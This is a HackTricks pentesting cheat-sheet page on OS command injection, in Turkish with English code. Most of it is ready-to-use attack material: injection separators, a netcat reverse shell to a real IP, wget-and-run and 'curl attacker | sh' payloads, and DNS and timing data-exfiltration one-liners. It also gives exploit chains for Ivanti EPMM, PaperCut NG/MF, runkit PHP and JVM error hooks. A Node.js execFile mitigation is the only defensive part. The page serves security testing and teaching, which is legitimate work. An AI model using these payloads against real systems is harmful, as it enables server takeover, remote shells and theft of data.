Command Injection
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
command Injection nedir?
Bir command injection, bir uygulamayı barındıran sunucuda saldırganın rastgele işletim sistemi komutları çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın çalışma ortamına ve altındaki sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak sağlar.
Bağlam
Girdiğiniz verinin nerede enjekte edildiğine bağlı olarak, komutlardan önce tırnak içindeki bağlamı sonlandırmanız (" veya ' kullanarak) gerekebilir.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
runkit etkinleştirilmiş PHP kural motorları
Bazı uygulamalar, yalnızca yöneticiye açık “kural motorlarını” saldırgan tarafından sağlanan PHP’yi çalıştırarak uygular. Eğer ortam runkit eklentisini etkinleştiriyorsa, bir saldırgan çalışma zamanında fonksiyonları yeniden tanımlayabilir veya enjekte edebilir ve yalnızca mantık tabanlı bir kural düzenleyicisini tam PHP RCE’ye yükseltebilir.
Indicators:
- Yönetici arayüzü, değerlendirilen PHP-benzeri “kuralları” kabul eder.
runkit/runkit7yüklü (phpinfo()veyaextension_loaded('runkit')).
Abuse example (redefine a function used by the rules to execute a command):
<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
Eğer kural içeriği saklanıp daha sonra değerlendirilirse, web bağlamı içinde kalıcı bir RCE primitive haline gelir.
Sınırlama Bypasses
Eğer bir linux makinesi içinde herhangi bir komut çalıştırmayı deniyorsanız, bu Bypasses: hakkında okumak ilginizi çekecektir.
Örnekler
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
RewriteMap/CGI-tarzı scriptlerde Bash aritmetik değerlendirmesi
RewriteMap helpers olarak yazılmış bash scriptler bazen query parametrelerini global değişkenlere atar ve daha sonra bunları aritmetik bağlamlarda ([[ $a -gt $b ]], $((...)), let) karşılaştırır. Aritmetik genişletme içeriği yeniden tokenize eder; bu yüzden saldırgan kontrollü değişken adları veya dizi referansları iki kez genişletilir ve çalıştırılabilir.
Ivanti EPMM RewriteMap helpers’ta görülen desen:
- Parametreler global değişkenlere eşlenir (
st→gStartTime,h→theValue). - Daha sonra kontrol:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
st=theValuegönderin; bu,gStartTime’ıntheValueadlı string’e işaret etmesini sağlar.h=gPath['sleep 5']gönderin, böylecetheValuebir dizi indeksi içerir; aritmetik kontroldesleep 5çalıştırılır (gerçek bir payload ile değiştirin).
Probe (~5s gecikme, zayıfsa 404 döner):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
Notlar:
- Aynı helper’ı diğer prefix’ler altında ara (ör.,
/mifs/c/aftstore/fob/). - Aritmetik bağlamlar bilinmeyen token’ları variable/array identifier olarak değerlendirir; bu nedenle bu, basit metacharacter filtrelerini atlatır.
Parametreler
Aşağıda code injection ve benzeri RCE zafiyetlerine açık olabilecek en yaygın 25 parametre yer almaktadır (kaynak: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Veri çıkarma: char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
https://github.com/HoLyVieR/dnsbin kaynağındaki araca dayanır; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır.
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Çevrimiçi olarak DNS tabanlı data exfiltration’ı kontrol etmek için araçlar:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
JavaScript/TypeScript arka uçlarını denetlerken sık sık Node.js child_process API’siyle karşılaşırsınız.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() bir shell (/bin/sh -c) başlatır; bu nedenle shell için özel anlamı olan herhangi bir karakter (back-ticks, ;, &&, |, $(), …) kullanıcı girdisi string içinde birleştirildiğinde command injection ile sonuçlanır.
Önlem: execFile() kullanın (veya spawn() shell seçeneği olmadan) ve her argümanı ayrı bir dizi elemanı olarak sağlayın, böylece hiçbir shell devreye girmez:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Tüm enjeksiyonlar shell metakarakterleri gerektirmez. Uygulama, güvensiz dizeleri bir sistem yardımcı programına argüman olarak iletirken (hatta execve/execFile ile ve shell olmadan bile), birçok program - veya -- ile başlayan herhangi bir argümanı yine de bir seçenek olarak ayrıştırır. Bu, saldırganın modları değiştirmesine, çıktı yollarını değiştirmesine veya tehlikeli davranışları tetiklemesine izin verir; hiçbir zaman bir shell’e girmesine gerek kalmaz.
Typical places where this appears:
- Gömülü web UIs/CGI handlers that build commands like
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Merkezi CGI yönlendiricileri (ör.
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) where multiple handlers reuse the same weak validator.
What to try:
- Alt/sonraki araç tarafından bayrak olarak tüketilmek üzere
-/--ile başlayan değerler verin. - Davranışı değiştiren veya dosya yazan bayrakları kötüye kullanın, örneğin:
ping:-f/-c 100000ile cihazı zorlayarak (DoS)curl:-o /tmp/xile rastgele yollar yazmak,-K <url>ile saldırgan kontrollü config yüklemektcpdump:-G 1 -W 1 -z /path/script.shile unsafe wrapper’larda post-rotate execution elde etmek
- Program
--end-of-options’u destekliyorsa,--’u yanlış yere ekleyen naif mitigasyonları atlatmayı deneyin.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM tanılama geri çağırmaları ile garantili exec
Uygulama bytecode’una dokunmadan, _JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents vb. gibi inject JVM command-line arguments yapmanıza izin veren herhangi bir primitive güvenilir bir RCE’ye dönüştürülebilir:
- Force a deterministic crash: metaspace veya heap’i küçülterek:
-XX:MaxMetaspaceSize=16m(veya küçük bir-Xmx). Bu, erken bootstrap sırasında bile birOutOfMemoryErroroluşmasını garanti eder. - Attach an error hook:
-XX:OnOutOfMemoryError="<cmd>"veya-XX:OnError="<cmd>"JVM abort ettiğinde herhangi bir OS komutunu çalıştırır. - İsteğe bağlı olarak
-XX:+CrashOnOutOfMemoryErrorekleyerek kurtarma girişimlerini engelleyebilir ve payload’u tek seferlik tutabilirsiniz.
Example payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Etkilenen NG/MF sürümleri (ör. 22.0.5 Build 63914)
/app?service=page/SetupCompletedyolunu açığa çıkarır; oraya girip Logine tıklamak kimlik bilgisi olmadan geçerli birJSESSIONIDdöndürür (kurulum akışında authentication bypass). - In Options → Config Editor,
print-and-device.script.enabled=Yveprint.script.sandboxed=Nayarlarını yapın; bu, printer scripting’i açar ve sandbox’ı devre dışı bırakır. - Yazıcı Scripting sekmesinde script’i etkinleştirin ve doğrulama hatalarını önlemek için
printJobHooktanımlı kalsın, ancak payload’u fonksiyonun outside kısmına yerleştirin ki Applye tıkladığınızda hemen çalışsın (yazdırma işi gerekmez):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- callback’ı bir reverse shell ile değiştir; eğer UI/PoC pipes/redirects’i işleyemiyorsa, tek bir komutla bir payload sahnele ve ikinci bir request ile exec et.
- Horizon3’s CVE-2023-27350.py auth bypass, config flips, command execution ve rollback işlemlerini otomatikleştirir—servis sadece içerden erişilebiliyorsa, bunu upstream proxy (ör.
proxychains→ Squid) üzerinden çalıştır.
Brute-Force Tespit Listesi
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- HTB: Gavel
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


